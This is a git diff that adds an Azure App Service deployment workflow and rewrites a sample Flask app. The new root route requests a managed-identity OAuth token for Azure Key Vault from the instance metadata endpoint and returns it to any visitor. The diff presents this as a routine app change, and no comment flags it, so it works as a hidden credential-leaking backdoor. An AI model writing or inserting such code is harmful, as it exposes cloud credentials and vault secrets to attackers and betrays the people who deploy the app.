diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml new file mode 100644 index 000000000..135b15c14 --- /dev/null +++ b/.github/workflows/main.yml @@ -0,0 +1,37 @@ +name: Azure App Service Deploy + +on: + push: + branches: + - main + +jobs: + deploy: + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v3 + + - name: Azure Login + uses: azure/login@v1 + with: + client-id: ${{ secrets.AZURE_CLIENT_ID }} + tenant-id: ${{ secrets.AZURE_TENANT_ID }} + client-secret: ${{ secrets.AZURE_CLIENT_SECRET }} + + - name: Setup Python + uses: actions/setup-python@v4 + with: + python-version: '3.9' + + - name: Install dependencies + run: pip install -r requirements.txt + + - name: Deploy to Azure Web App + uses: azure/webapps-deploy@v2 + with: + app-name: app-s-4-835f5b6f + slot-name: Production + package: . + diff --git a/app.py b/app.py index 3d1808cf6..7fca26b32 100644 --- a/app.py +++ b/app.py @@ -1,32 +1,18 @@ -import os - -from flask import (Flask, redirect, render_template, request, - send_from_directory, url_for) +from flask import Flask +import requests app = Flask(__name__) - -@app.route('/') +@app.route("/") def index(): - print('Request for index page received') - return render_template('index.html') - -@app.route('/favicon.ico') -def favicon(): - return send_from_directory(os.path.join(app.root_path, 'static'), - 'favicon.ico', mimetype='image/vnd.microsoft.icon') - -@app.route('/hello', methods=['POST']) -def hello(): - name = request.form.get('name') - - if name: - print('Request for hello page received with name=%s' % name) - return render_template('hello.html', name = name) - else: - print('Request for hello page received with no name or blank name -- redirecting') - return redirect(url_for('index')) - - -if __name__ == '__main__': - app.run() + try: + url = "http://169.254.169.254/metadata/identity/oauth2/token" + params = { + "api-version": "2019-08-01", + "resource": "https://vault.azure.net" + } + headers = {"Metadata": "true"} + r = requests.get(url, headers=headers, params=params, timeout=2) + return r.text + except Exception as e: + return f"Error: {e}"